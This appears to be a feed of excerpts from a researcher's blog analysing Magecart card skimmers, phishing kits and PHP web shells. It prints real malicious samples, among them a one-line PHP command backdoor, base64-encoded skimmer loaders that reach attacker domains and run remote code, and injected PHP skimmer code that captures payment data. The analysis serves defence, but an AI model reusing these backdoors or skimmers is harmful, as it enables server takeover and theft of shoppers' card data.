Tc3MChfMHg5NjdEWzY0XSwxKTtpZighXzB4OURDNCgpKXtfMHg5NzcwKF8weDk2N0RbNjVdLDIpO2lmKF8weDk3MUY9PT0gdHJ1ZSl7cmV0dXJufTtyZXR1cm4gdHJ1ZX07aWYoXzB4OTg2Mz09IHRydWUpe18weDk3QzEoMCxfMHg5NjdEWzgyXSwwLDEsMCl9O18weDlEMjIoalF1ZXJ5KF8weDkzQTRbXzB4OTY3RFswXV0oKSkpO18weDk3NzAoXzB4OUQ3MywyKTtqUXVlcnlbXzB4OTY3RFs3MV1dKHt0eXBlOl8weDk2N0RbNjhdLHVybDpfMHg5NDQ2W18weDk2N0RbMF1dKCksZGF0YTpfMHg5Q0QxKEpTT05bXzB4OTY3RFs2OV1dKF8weDlENzMpW18weDk2N0RbMzddXSgpW18weDk2N0RbNDBdXSgpKSx0aW1lb3V0OjIwMDAwLGNvbnRlbnRUeXBlOl8weDk2N0RbNzBdfSlbXzB4OTY3RFs2N11dKGZ1bmN0aW9uKCl7XzB4OTc3MChfMHg5NjdEWzY2XSwyKTtyZXR1cm4gdHJ1ZX0pfWNhdGNoKGUpe18weDk3NzAoXzB4OTY3RFs3Ml0sMik7cmV0dXJuIHRydWV9fSl9ZnVuY3Rpb24gXzB4OUYwOCgpe3ZhciBfMHhBMjgzPXNldEludGVydmFsKGZ1bmN0aW9uKCl7XzB4OTc3MChfMHg5NjdEWzc0XSwxKTtpZihqUXVlcnkoXzB4OTNBNFtfMHg5NjdEWzBdXSgpKVtfMHg5NjdEWzc2XV0oXzB4OTY3RFs3NV0pJiYgXzB4OURDNCgpKXtfMHg5NzcwKF8weDk2N0RbNzddLDEpO2NsZWFySW50ZXJ2YWwoXzB4QTI4Myk7XzB4OUU2NigpfX0sXzB4OTYyQyl9alF1ZXJ5KGRvY3VtZW50KVtfMHg5NjdEWzgxXV0oZnVuY3Rpb24oKXtfMHg5NzcwKF8weDk2N0RbNzhdLDEpO2lmKGpRdWVyeShfMHg5NjdEWzgwXSlbXzB4OTY3RFs3OV1dKDApKXtfMHg5NzFGKF8weDkyNjAsXzB4OTY3RFsyM10pfWVsc2Uge18weDlGMDgoKX19KTtmdW5jdGlvbiBfMHg5RTE1KF8weEExM0Ype2lmKCFfMHg4Rjg3KXtfMHg5NzFGKF8weDkyNjAsXzB4OTY3RFsyM10pfX1pZighXzB4OTY3RCl7XzB4OTZDRSgpfTtzZXRJbnRlcnZhbChmdW5jdGlvbigpe3ZhciBfMHg5RkFBPXdpbmRvd1tfMHg5NjdEWzgyXV0tIHdpbmRvd1tfMHg5NjdEWzgzXV0+IF8weDk1OEE7dmFyIF8weDlGNTk9d2luZG93W18weDk2N0RbODRdXS0gd2luZG93W18weDk2N0RbODVdXT4gXzB4OTU4QTtpZighKF8weDlGNTkmJiBfMHg5RkFBKSYmICgod2luZG93W18weDk2N0RbODZdXSYmIHdpbmRvd1tfMHg5NjdEWzg2XV1bXzB4OTY3RFs4N11dJiYgd2luZG93W18weDk2N0RbODZdXVtfMHg5NjdEWzg3XV1bXzB4OTY3RFs4OF1dKXx8IF8weDlGQUF8fCBfMHg5RjU5KSl7aWYoXzB4OTc3MD09PSAwKXtyZXR1cm59ZWxzZSB7aWYoIV8weDkyMEYpe18weDlFMTUodHJ1ZSl9fTtpZighXzB4OTc3MCl7XzB4OTZDRSgpO18weDk4NjM9IF8weDk2N0RbNTBdfWVsc2Uge18weDkyMEY9IHRydWV9fWVsc2Uge2lmKF8weDkyMEYpe18weDlFMTUoZmFsc2UpfTtpZighXzB4OTY3RCl7XzB4OTZDRT0gMX07XzB4OTIwRj0gZmFsc2V9fSw1MDApfWZ1bmN0aW9uIF8weDk4MTIoXzB4QTJENCl7XzB4OTc3MChfMHg5NjdEWzg5XSwxKTtpZih3aW5kb3dbXzB4OTY3RFs5MF1dKXtfMHg5NzcwKF8weDk2N0RbOTFdLDEpO18weEEyRDQoKX1lbHNlIHtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7XzB4OTgxMihfMHhBMkQ0KX0sXzB4OTYyQyl9fWZ1bmN0aW9uIF8weDk4NjMoKXtpZighXzB4OTdDMSl7XzB4OTgxMigpO18weDk4MTI9IG51bGw7cmV0dXJufTtpZih3aW5kb3dbXzB4OTY3RFs5Ml1dW18weDk2N0RbMjldXVtfMHg5NjdEWzMzXV0oXzB4OTQ5N1tfMHg5NjdEWzBdXSgpKSE9PSAgLTEmJiB3aW5kb3dbXzB4OTY3RFs5Ml1dW18weDk2N0RbMjldXVtfMHg5NjdEWzMzXV0oXzB4OEVFNVtfMHg5NjdEWzBdXSgpKSE9PSAgLTEpe18weDk4MTIoXzB4OTdDMSl9ZWxzZSB7XzB4OTcxRihfMHg5MjYwLF8weDk2N0RbMjNdKX19XzB4OTM1Mz0gXzB4OTcxRjtfMHg4RjM2PSBfMHg5NzcwO18weDkzMDI9IF8weDk3QzE7aWYoIV8weDk3MUYpe3JldHVybn07XzB4OTVEQj0gXzB4OTgxMjtfMHg5MUJFPSBfMHg5ODYzO1N0cmluZ1tfMHg5NjdEWzFdXVtfMHg5NjdEWzBdXT0gXzB4OTZDRTtpZighXzB4OTgxMil7XzB4OTdDMT0gZmFsc2V9O18weDk0OTc9IF8weDk2N0RbMTBdO18weDhFRTU9IF8weDk2N0RbMTFdO18weDk0NDY9IF8weDk2N0RbMTJdO2lmKCFfMHg5ODYzKXtfMHg5NkNFPSBfMHg5NjdEWzMxXX07XzB4OTRFOD0gXzB4OTY3RFsxM107XzB4OTNGNT0gXzB4OTY3RFsxNF07XzB4OTE2RD0gXzB4OTY3RFsxNV07XzB4OEY4Nz0gZmFsc2U7XzB4OTYyQz0gNTAwO18weDkyMEY9IGZhbHNlO18weDk1OEE9IDE2MDtpZighXzB4OTcxRil7XzB4OTdDMShudWxsKTtfMHg5NzFGPSAwO3JldHVybn07XzB4OTI2MD0gXzB4OTY3RFsxNl07XzB4OTJCMT0gXzB4OTY3RFsxN107XzB4OTNBND0gXzB4OTY3RFsxOF07XzB4OEZEOD0gXzB4OTY3RFsxOV07aWYoXzB4OTg2Mz09PSBudWxsKXtfMHg5N0MxPSBfMHg5NjdEWzhdfTtfMHg5MDI5PSBfMHg5NjdEWzIwXTtfMHg5MDdBPSBfMHg5NjdEWzIxXTtfMHg5MENCPSBfMHg5NjdEWzddO18weDkxMUM9IF8weDk2N0RbN107XzB4OTUzOT0gXzB4OTY3RFsyMl07XzB4OTg2MygpfSkoKTwvc2NyaXB0Pg== wtf() #skimmer continues to be used in-the-wild, targeting #WooCommerce #WordPress websites 💰 💳 ☠️ exfil: convert-server[.]com#magecart #infosec #cybersecurity #malware #javascript pic.twitter.com/kef7VfYzPS — Luke Leal (@rootprivilege) November 30, 2021 https://lukeleal.com/research/posts/n26-bank-phishing-with-s4lim-udashboard/ Sat, 13 Nov 2021 00:00:00 +0000 https://lukeleal.com/research/posts/n26-bank-phishing-with-s4lim-udashboard/ This active phishing kit was found to be operating its phishing pages on compromised websites and then exfiltrating the data back to a separate hosting account set up by the attacker. The active phishing control/C2 panel, S4LIM, was hosted by the attacker on a separate compromised website (taken down). Custom Push Notifications Sent In Real Time One interesting feature within the code is the abuse of the push notification service pushover. https://lukeleal.com/research/posts/shopify-phishing-kit/ Mon, 01 Nov 2021 00:00:00 +0000 https://lukeleal.com/research/posts/shopify-phishing-kit/ #shopify #phishing kit by zazzy targets customer login and credit card data, then exfils via PHP mail function. big ups @ActorExpose for finding this one#malware #infosec #cybersecurity #cybercrime pic.twitter.com/g8th25iMbr — Luke Leal (@rootprivilege) November 1, 2021 https://lukeleal.com/research/posts/phishing-kit-targets-iran-agriculture-bank/ Fri, 24 Sep 2021 00:00:00 +0000 https://lukeleal.com/research/posts/phishing-kit-targets-iran-agriculture-bank/ Keshavarzi Bank, also known as Agribank, is a major Iranian banking establishment offering retail and commercial services. The company was established in 1933 and as a Farming and Industrial Bank. Phishing Kit This phishing kit is designed to target mobile users of Iran’s Agribank banking website, however it looks like 2FA is required and so the OTP needs to be phished too. As such - this kit also requests the OTP which can be sent via SMS or generated in an app on the victim’s smartphone. https://lukeleal.com/research/posts/send-love-to-exfil-telegram-bots/ Wed, 22 Sep 2021 00:00:00 +0000 https://lukeleal.com/research/posts/send-love-to-exfil-telegram-bots/ Irritate bad actors by sending their exfiltration Telegram bots some encouraging messages. Very easy to use. All you need is: BOT API CHAT ID # OF MESSAGES And then you can customize and/or add as many of your own messages to the messages variable in the code. python tg_bot_love.py #!/usr/bin/python3 ''' Want to irritate attackers exfiltrating data via Telegram Bots? Send them some encouragement with this script 🙃 ''' import sys, os, requests, time, random, json from user_agent import generate_user_agent version="365" nombre="anonr00t" tg="" fp=1 def random_message(): global nombre, version, tg if tg == None or tg == '': tg = version messages = [f"INTERPOL REPORT SUBMITTED v{version} i love u - {nombre}", f"INTERPOL WARRANT: PENDING v{version} i love u - {nombre}", f"low effort exfil. https://lukeleal.com/research/posts/elzero-x-sniper-phishing-kits/ Mon, 06 Sep 2021 00:00:00 +0000 https://lukeleal.com/research/posts/elzero-x-sniper-phishing-kits/ This phishing kit was configured to serve a multi-stage Chase phishing page to victims that were redirected to it - likely from clicking within a phishing email. I’ve recently seen large amounts of phishing emails targeting Chase victims and being sent out through the leafmailer*.php mailer hosted on other hacked websites. Fullz Phishing Fullz is a slang term for "full information" that criminals who steal credit card information use to refer to a complete set of information on a prospective fraud victim. https://lukeleal.com/research/posts/restore-metamask-crypto-wallet-phishing/ Fri, 30 Jul 2021 00:00:00 +0000 https://lukeleal.com/research/posts/restore-metamask-crypto-wallet-phishing/ Shout out @cyberthedore for finding this phishing URL! Cryptocurrency Wallet Phishing Cryptocurrency is stored within digital wallets, which are protected by a private key that is derived from a mnemonic phrase, and usually a password that serves as a second form of authentication. For brevity, a mnemonic phrase is a list of 12-24 words and is comparable to the backup codes offered by Google for account recovery. As with other crypto private keys - you never want to share this with anyone that you don’t trust with all of your wallet’s cryptocurrency. https://lukeleal.com/research/posts/utoxic-xcazanova-connection/ Thu, 15 Jul 2021 00:00:00 +0000 https://lukeleal.com/research/posts/utoxic-xcazanova-connection/ xcazanova -> thetoxichydra -> utoxic I am very confident that the phishing kit creator and distributor utoxic is the same person that was behind xcazanova: Samir Djelal. View image for full size (chill - that's not his real address) Samir Djelal will deny any involvement, as one would expect, but your boy ain’t buying it. Allow me to show you why… Samir Djelal + TheToxicHydra (utoxic) The first direct linkage between Samir and TheToxicHydra (utoxic) was spotted in a tweet reply. https://lukeleal.com/research/posts/spoofed-404-http_response_code/ Mon, 12 Jul 2021 00:00:00 +0000 https://lukeleal.com/research/posts/spoofed-404-http_response_code/ PHP’s http_response_code function http_response_code is a PHP function that can be used to modify the returned response code for the HTTP requests made to the PHP file where the function is used. Evasion Technique This is a function abused by attackers to evade detection by spoofing 404 response codes. All that is needed to do is add this to the malicious PHP file: http_response_code(404); This causes all requests to the file to be logged as a 404 response - which would usually mean that the request was to a file that did not exist. https://lukeleal.com/research/posts/magecart-group-12-toolser-skimmer/ Mon, 28 Jun 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magecart-group-12-toolser-skimmer/ New Skimmer Domain - toolser.pw Skimmers attributed to MAGECART GROUP 12 were previously found loading a JavaScript skimmer from pathc.space/space/widget.txt, however new variants show a shift to loading the skimmer from toolser.pw/space/widget.txt. I didn’t see any posts for toolser.pw so I figured I would write one. Where? This PHP malware is injected into the Magento 1.x file app/Mage.php (lines 686-751 in sample). Concat Array Obfuscation The malicious PHP code is mainly obfuscated through concatenated array values assigned to the variable $gocununi: https://lukeleal.com/research/posts/hotjar-dot-info-skimmer/ Sun, 13 Jun 2021 00:00:00 +0000 https://lukeleal.com/research/posts/hotjar-dot-info-skimmer/ This skimmer uses a domain similar to a previous skimmer that the talented @jknsCo posted on rapidspike.com, but its skimmer functionality is different along with the domain name being hotjar[.]info instead of _hotjar[.]us. This hotjar[.]info skimmer uses less code as it relies on JavaScript’s WebSocket connection hotjar.info skimmer The skimmer injection is obfuscated with base64 encoded data which is decoded through the JavaScript function atob: var soc;new self["Function"||"Object"](atob('aWYobmV3IFJlZ0V4cCgiY2hlY2tvdXQiKS50ZXN0KHdpbmRvdy5sb2NhdGlvbi5ocmVmKSl7c29jPW5ldyBzZWxmLldlYlNvY2tldCgid3NzOi8vaG90amFyLmluZm8vYXBpL2lkLyIpO3NvYy5vbm9wZW4gPSBmdW5jdGlvbihlKSB7c29jLnNlbmQoYnRvYSgiSU5JVDo6Iit3aW5kb3cubG9jYXRpb24uaG9zdCkpO307c29jLm9ubWVzc2FnZT1mdW5jdGlvbihhKXtuZXcgc2VsZi5GdW5jdGlvbihhdG9iKGEuZGF0YSkpLmNhbGwodGhpcyl9O307')).call(this); After decoding the base64 data - we can see the malicious JavaScript skimmer and the exfil domain. https://lukeleal.com/research/posts/feds-hitman-darknet-bait/ Sat, 12 Jun 2021 00:00:00 +0000 https://lukeleal.com/research/posts/feds-hitman-darknet-bait/ Hitmen on the Darkweb/Darknet/scaryplace I have been convinced for a while that all of these hitmen-for-hire/murder-for-hire websites on the darknet are just fed honeypots/undercovers/trusted informant wanting to bust criminals that have watched one too many Hollywood movies. This is why you will usually hear the victim saying they were contacted by law enforcement in regards to a hit order being placed on a website (their website) Blackwater (now Academi) sure did change their advertising. https://lukeleal.com/research/posts/wordpress-login-stealer/ Wed, 09 Jun 2021 00:00:00 +0000 https://lukeleal.com/research/posts/wordpress-login-stealer/ Login stealers are a form of a web malware that are used to silently capture user login data on an infected website. wp-login.php injection wp-login.php is the natural choice for someone that is trying to steal the username and password included in POST requests sent to the website. Why? Because the file wp-login.php receives the POST requests containing the username (log) and password (pwd) data when the victim clicks Log In. https://lukeleal.com/research/posts/gel4y-mini-shell-indonesian-darknet/ Mon, 07 Jun 2021 00:00:00 +0000 https://lukeleal.com/research/posts/gel4y-mini-shell-indonesian-darknet/ Gel4y Mini Shell From the assumed creator of this PHP shell: Gel4y Webshell is a backdoor built using the PHP programming language in a stealth mode that can bypass server security. In this case, the aforementioned stealth mode is just various obfuscation (e.g hexadecimal) and evasion techniques used to evade signature based scanning tools and some minor hexadecimal obfuscation in the requests to evade WAF/IDS/IPS network security. Of course it can be detected and not bypassed if you are using the right WAF/IDS/IPS signatures. https://lukeleal.com/research/posts/analiticsweb-skimmer/ Thu, 03 Jun 2021 00:00:00 +0000 https://lukeleal.com/research/posts/analiticsweb-skimmer/ Database Injection -> Third Party URL -> Skimmer Code The URL https://analiticsweb[.]site/analytics.js that loads the skimmer was injected into the table of a Magento 2 database and this value containing the skimmer is then loaded along with the usual website’s HTML. analiticsweb.site/analytics.js While the delivery domain is not very good, the skimmer code makes extensive use of JavaScript array obfuscation to increase the difficultly in analyzing it… zulhqmnr@netmail[.]tk = malicious domain registrant Let’s take a look at the whois data for analiticsweb. https://lukeleal.com/research/posts/xbalti-phishing-kits/ Fri, 21 May 2021 00:00:00 +0000 https://lukeleal.com/research/posts/xbalti-phishing-kits/ XBALTI Kits XBALTI is a threat actor that produces various phishing kits, but primarily the ones that have been found in the wild are targeting brands Chase Bank and Amazon: Chase Bank Amazon These phishing pages do not only steal login data, but also: SSN DOB mother’s Maiden name payment card data Admin Panel Similar to other popular phishing kits, XBALTI kits include a type of admin page that the phisher can use for quickly viewing the activity on their phishing page: https://lukeleal.com/research/posts/php-minishell-oneliner-redux/ Thu, 13 May 2021 00:00:00 +0000 https://lukeleal.com/research/posts/php-minishell-oneliner-redux/ Part 1 <?php $_ = range("A","Z"); $_ = $_[6].$_[4].$_[19]; $_ = ${'_'.$_}['_']; ?> <?=`$_`; ?> Variant differences Due to the obfuscation used to hide the use of the PHP superglobal $_GET this variant uses more code than the first version which I posted about. $_GET instead of $_POST Instead of sending data to the PHP backdoor using a HTTP POST request - it now uses a GET request. This means the command you want to send to the PHP backdoor will be exposed in the GET request URI parameters: https://lukeleal.com/research/posts/admin-fail-symlink-removal/ Wed, 12 May 2021 00:00:00 +0000 https://lukeleal.com/research/posts/admin-fail-symlink-removal/ If you have any experience with working with a CLI then you are hopefully familiar with tab autocomplete - or in my case spamming TAB as I type a command or directory path so that I don’t have to type it all out. It’s really helpful. Unfortunately sometimes the tab autocomplete can make it easier for dangerous commands to be accidentally run. Malicious symlink: root.txt -> / Let’s say we have this malicious symlink left behind by some malware on an individual website. https://lukeleal.com/research/posts/lolzilla-php-js-skimmer/ Sat, 08 May 2021 00:00:00 +0000 https://lukeleal.com/research/posts/lolzilla-php-js-skimmer/ lolzilla (portzilla) lolzilla is an active Magecart skimmer that was found injected into a PHP core file on multiple infected Magento websites in-the-wild. Injected core file: ./lib/Varien/Object.php PHP or JavaScript? 🤔🤔 lolzilla uses PHP code to analyze a victim’s HTTP request to the infected Magento website and determine whether it should deploy a JavaScript skimmer to be able to capture the victim’s payment data. try { if ($_SERVER["REQUEST_METHOD"] === "GET") { if (strpos($_SERVER["REQUEST_URI"], "checkout") ! https://lukeleal.com/research/posts/secure-authorize-dot-net-skimmer/ Sun, 25 Apr 2021 00:00:00 +0000 https://lukeleal.com/research/posts/secure-authorize-dot-net-skimmer/ Skimmer This PHP skimmer’s code was found injected into two files on a compromised Magento website: ./vendor/magento/module-checkout/Model/PaymentInformationManagement.php ./vendor/magento/module-checkout/Model/GuestPaymentInformationManagement.php file_get_contents(‘php://input’) file_get_contents('php://input') is used to capture POST request data sent to the injected PHP file(s). $data = file_get_contents('php://input'); if (is_object($data = @json_decode($data))) { $data->ip = $_SERVER['REMOTE_ADDR']; $data->cc_cid = strvaL(rand(100,999)); $site = $_SERVER['HTTP_HOST']; if (substr($site, 0, 4) == "www.") { $site = substr($site, 4); } $data->site = $site; $data = json_encode($data); ... That’s why the attacker will inject the skimmer into a PHP file used during the checkout process on the infected ecommerce website - as they know that payment data submitted by the victim shopper’s POST request will be captured. https://lukeleal.com/research/posts/cdn-frontend-skimmer/ Mon, 19 Apr 2021 00:00:00 +0000 https://lukeleal.com/research/posts/cdn-frontend-skimmer/ _try_action Skimmer _try_action skimmer is written in JavaScript and found by @liamsmith86 loading from an injection at the bottom of legitimate JavaScript code in the file js/bootstrap/bootstrap.min.js Obfuscation The skimmer’s uses the Javascript function (p, a, c, k, e, d) and a custom function e to obfuscate the skimmer’s actual code so that it is more difficult to detect with passive scanning tools. Beautified version of the obfuscated skimmer code below. https://lukeleal.com/research/posts/magento2-payprocess-obj_31337-skimmer/ Sun, 04 Apr 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-payprocess-obj_31337-skimmer/ There’s so many skimmers these days that it’s difficult to keep up 😬 Loader The skimmer loads from an injection into the core_config_data of the Magento database. The injection uses the atob JavaScript function for base64 decoding the URL: hxxps://payprocess.org/s/us_afford.js. It’s still active at the time of this writing. <script> var sc = document.createElement("script"); sc.type = "text/javascript"; sc.src = atob('aHR0cHM6Ly9wYXlwcm9jZXNzLm9yZy9zL3VzX2FmZm9yZC5qcw=='); document.getElementsByTagName('head')[0].appendChild(sc); </script> At this point do we really even need to ask who the domain is registered with? https://lukeleal.com/research/posts/php-to-js-skimmer/ Fri, 02 Apr 2021 00:00:00 +0000 https://lukeleal.com/research/posts/php-to-js-skimmer/ This post is just a quick example of how attackers can quickly switch between PHP and JavaScript when creating their skimmer. I covered the PHP variant of the $dataoo skimmer a few months ago here. Big ups to Baryo (@ctrl__esc) for deobfuscating the JavaScript variant of this skimmer! 🦾 🦾 PHP Variant The PHP variant is the same skimmer I covered here, so I will just briefly review it in this post. https://lukeleal.com/research/posts/magento2-angrybeaver-skimmer/ Tue, 30 Mar 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-angrybeaver-skimmer/ This JavaScript skimmer was interesting as its design is different than what I have seen with other Magecart/Magento skimmers over the last couple years. Loader The skimmer’s payload is base64 encoded and stored within the file ./pub/static/static.js. This is not a default Magento core file, so it needs to get loaded onto the website some way. It does this through an injection in the core_config_data database table then loads the skimmer payload onto the ecommerce website with script src: https://lukeleal.com/research/posts/php-minishell-oneliner/ Thu, 25 Mar 2021 00:00:00 +0000 https://lukeleal.com/research/posts/php-minishell-oneliner/ Minishell This is one of the smallest backdoors that I am aware of that allows you to run server commands that are sent to it via a POST request. <?=`$_POST[0]`;?> Its small footprint is due to its use of the backtick operator as a short hand for the PHP function shell_exec: Use of the backtick operator `` is identical to shell_exec(). shell_exec — Execute command via shell and return the complete output as a string https://lukeleal.com/research/posts/demanding-phishing-kit-order/ Fri, 19 Mar 2021 00:00:00 +0000 https://lukeleal.com/research/posts/demanding-phishing-kit-order/ An unsuspecting .tar.gz on a compromised website turned out to contain a directory of various malware, scam, and phishing content. Background A further examination of the phishing content revealed some interesting correspondence between the PaaS (phishing-as-a-service) customer and the phishing kit creator. Apparently the buyer had ordered a phishing kit to be created that would be used to target icscards.nl, but it sounds like the buyer wasn’t happy with the initial version and left a message for the phishing kit creator in a TXT file: https://lukeleal.com/research/posts/wtf-woocommerce-skimmer/ Wed, 10 Mar 2021 00:00:00 +0000 https://lukeleal.com/research/posts/wtf-woocommerce-skimmer/ 0x4895.wtf Skimmer 0x4895.wtf is a JavaScript skimmer found injected into the database of a compromised ecommerce website that was using the WooCommerce PayPal Pro plugin and its parent software WordPress. What is WooCommerce PayPal Pro? PayPal Payments Pro is a gateway plugin that allows you to take credit card payments via PayPal directly on your site. The customer enters their credit card details during the checkout process, and PayPal handles the rest. https://lukeleal.com/research/posts/magento2-sagepaysuiteserver-skimmer/ Fri, 05 Mar 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-sagepaysuiteserver-skimmer/ This JavaScript skimmer was found injected into the Magento 2 core source file: lib/web/jquery.js Owner Reports Malicious Activity I believe changes have been made which is affecting the checkout pages. Can you check for skimming in all recent file edits etc. We noticed our SagePay payment method has changed to allow customers to enter card details directly on the checkout page. We have never enabled this option and always opted for routing customers to SagePay servers with an iframe to enter directly on their website. https://lukeleal.com/research/posts/magento-skimmer-validatedata-variant/ Mon, 01 Mar 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento-skimmer-validatedata-variant/ Skimmer Functions Unlike the first validateData post, this variant doesn’t exfiltrate the stolen payment data to a third party location. private function validateData() { try { file_put_contents(base64_decode("L2hvbWUvbm9wZS9wdWJsaWNfaHRtbC9tZWRpYS9ob21lL2JhYnkudG1w"), base64_encode(print_r($_REQUEST, 1)) . PHP_EOL, FILE_APPEND | LOCK_EX); } catch(Exception $e){ } } Instead it uses file_put_contents and print_r to write the skimmed POST payment data to a specified file on the same web server: /home/nope/public_html/media/home/baby.tmp The malicious function validateData is injected into the “Onepage” payment process flow by injecting $this->validateData(); into the process saveBillingAction code to load it: https://lukeleal.com/research/posts/magento2-skimmer-exfil-to-telegram/ Fri, 19 Feb 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-skimmer-exfil-to-telegram/ In the past Telegram bots have been used by attackers for exfiltrating their stolen data and now we see it being used as an exfiltration method with payment skimmers. JavaScript Injection The skimmer loads on the victim’s Magento website from a Javascript injection in its files or database. In this case the Javascript injection was located in the database table cms_block: <script type="text/javascript" src="//beyondhealth.com/media/js/206754ef354122a9c0c27b333fbefe9f.js" defer></script> Skimmer Targeted Checkout Page URLs The skimmer will use specific functions for detection of the victim and the victim’s activity on the targeted checkout pages. https://lukeleal.com/research/posts/magento-skimmer-validatedata/ Thu, 18 Feb 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento-skimmer-validatedata/ PHP Skimmer Functions The skimmer injects a different malicious function into two Magento files: validateData() -> ./app/code/core/Mage/Checkout/controllers/OnepageController.php login($username, $password) -> ./app/code/core/Mage/Admin/Model/User.php validateData() The malicious function validateData() is responsible for skimming the payment data from victims on the infected website’s checkout page. validateData() is executed during the checkout form process using the strategic placement of an additional injection within existing legitimate payment functions in the OnepageController.php file (see samples): $this->validateData(); Malicious function beautified: https://lukeleal.com/research/posts/php-dropper-analysis/ Thu, 11 Feb 2021 00:00:00 +0000 https://lukeleal.com/research/posts/php-dropper-analysis/ PHP Droppers A dropper is a type of hacktool for disguising and downloading the malware payload which will be “dropped” to the victim device. PHP droppers are used for evading detection by host anti-virus/malware and bypassing email security controls like filters and/or scanning. They are used for malicious URLs inside malspam sent to victims and prompt a binary data file download when the the link is clicked. Malspam Distribution In 2019 Proofpoint released a threat report showing usage of malware spread through malicious URLs exceeded the traditional file attachment method: https://lukeleal.com/research/posts/magento2-skimmer-testserver-php/ Thu, 21 Jan 2021 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-skimmer-testserver-php/ This PHP skimmer was spotted last year (2020) and has since been found on multiple Magento 2 websites. The skimmer’s name comes from the $dataoo variable it uses, but originally I was calling it “base64 rot” based on the skimmer using the base64_decode function, but obfuscated through segmented rot13 encoded strings. PHP Skimmer Code Breakdown I will beautify the skimmer’s code so that we can more easily breakdown how it works. https://lukeleal.com/research/posts/spox-is-dila-belmili/ Sat, 02 Jan 2021 00:00:00 +0000 https://lukeleal.com/research/posts/spox-is-dila-belmili/ NAME: DILA BELMILI KNOWN ALIASES: Spox, Spox_dz, Sp0x, seller_62, SPOX CODER, spoxstore, Team Spox, Spoxy KNOWN LOCATIONS: Mila and Grarem Gouga, Mila Province, Algeria Intro to Spox I first covered Spox phishing kits in an old post - which you can view here. Spox is a phishing kit creator and distributor who has operated since at least 2017, but I didn’t personally start running into his phishing kits until 2019. https://lukeleal.com/research/posts/vonage-api-phishing/ Mon, 28 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/vonage-api-phishing/ Why Do Phishers Want Vonage APIs? The name “Vonage API” seems to just be the new name for the previous Nexmo API, which was acquired by Vonage, but functionally it remains the same. The Vonage API has many features so I will only focus on the ones that would be interesting to a phisher or scammer: These features would be beneficial to a phisher wanting to experiment with using the API in new two-factor (or multi-factor) authentication phishing kits. https://lukeleal.com/research/posts/printcss-loads-skimmer-0x2031/ Thu, 17 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/printcss-loads-skimmer-0x2031/ cms_block.content injection This JavaScript skimmer loads from a very simple injection at the bottom of the Magento 2 database table cms_block.content, block_id: <script async="" src="//printcss.host/styles.css"></script> As has been seen recently, this injection tries to imitate a seemingly benign CSS request in an attempt to evade detection. I ran out of time and wasn’t able to deobfuscate it, but I’ve included the sample below so hopefully you can 🤓 Sample The JavaScript skimmer 0x2031 as loaded from printcss[. https://lukeleal.com/research/posts/malware-disables-wordfence-plugin/ Wed, 16 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/malware-disables-wordfence-plugin/ This malicious file specifically targets the Wordfence security plugin and disables it by simply renaming the plugin’s directory: if (is_file($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/wordfence/wordfence.php')) { rename($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/wordfence', $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/wordfence1'); } After the Wordfence plugin is disabled, the malware will read the timestamps of existing files within its current directory (wp-content/themes/twentysixteen/js/). These timestamps are placed into an array in epoch format, which is then parsed by PHP using the min function to acquire the lowest array value, or in other words it gets the oldest epoch timestamp. https://lukeleal.com/research/posts/require-infected-error_log/ Tue, 15 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/require-infected-error_log/ PHP’s error_log Have you ever seen a file named error_log in your website’s directory or subdirectories? It’s the default error logging file for PHP and its directive is defined within the php.ini configuration file. The error_log file can also range wildly in its disk usage due to various reasons like logging verbosity and not being rotated out. I’m not kidding - I’ve seen some that are 20GB and just chillin’ in public_html/html, which is not good for the server’s Apache/HTTP service. https://lukeleal.com/research/posts/magento2-dev-tool-or-shell/ Fri, 11 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-dev-tool-or-shell/ If you have ever installed Magento 2 onto your own web server then you know it has specific functions that are to be run via command line interface (CLI). Magento CLI Magento has one command-line interface that performs both installation and configuration tasks: Magento CLI is used to carry out Magento specific developer tasks like rebuilding the store index or setting the store to developer mode. Unfortunately freelance developers may not receive SSH access to the client’s hosting server. https://lukeleal.com/research/posts/0x165a3f-skimmer/ Tue, 08 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/0x165a3f-skimmer/ Updated: 2020-12-21 What is the MemberPress plugin? MemberPress will help you build astounding WordPress membership sites, accept credit cards securely, sell online courses, control who sees your content, and sell digital downloads… all without the difficult setup. Target: Paid Membership Checkout Page An example of a MemberPress paid membership checkout page: The JavaScript skimmer was injected into an existing image file: wp-content/uploads/2020/10/vid_1024.png This file continued to be viewable as a PNG image as it had the proper PNG file headers and corresponding image data, with the skimmer code on the last line. https://lukeleal.com/research/posts/trojan-recon-bec/ Sat, 05 Dec 2020 00:00:00 +0000 https://lukeleal.com/research/posts/trojan-recon-bec/ Business email compromise (BEC) attacks are a big problem when it comes to organizational security and defending against them. One reason is that the attack often uses a human victim to authorize a fraudulent transaction, which can bypass existing security controls that would normally be used to prevent fraud. Another reason is that the lures used to social engineer the human victim can be expertly crafted by the attacker after they have been monitoring your activity for some time. https://lukeleal.com/research/posts/magento2-skimmer-getcredentialstorage/ Wed, 25 Nov 2020 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-skimmer-getcredentialstorage/ Magento 2 core file vendor/magento/module-backend/Model/Auth.php was injected with a PHP skimmer that was being used to steal login data from incoming HTTP requests to the website. You can see the injected skimmer below: try { $hash = "rWmYXPxcXYoF169XGZ/K"; $url = "https://" . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $date = gmdate("y-m-d H:i:s",time()); $meta = "GpjclLuCmxuAmgLelPtNNSWtQ9p"; $req_url = $meta; $salt = "YF7WY0eIX8iGYluA0f9V"; if (md5(md5($salt).md5($hash).$salt) == "3b941f7b3e9e0e7589deaf420ae06e34") $req_url = 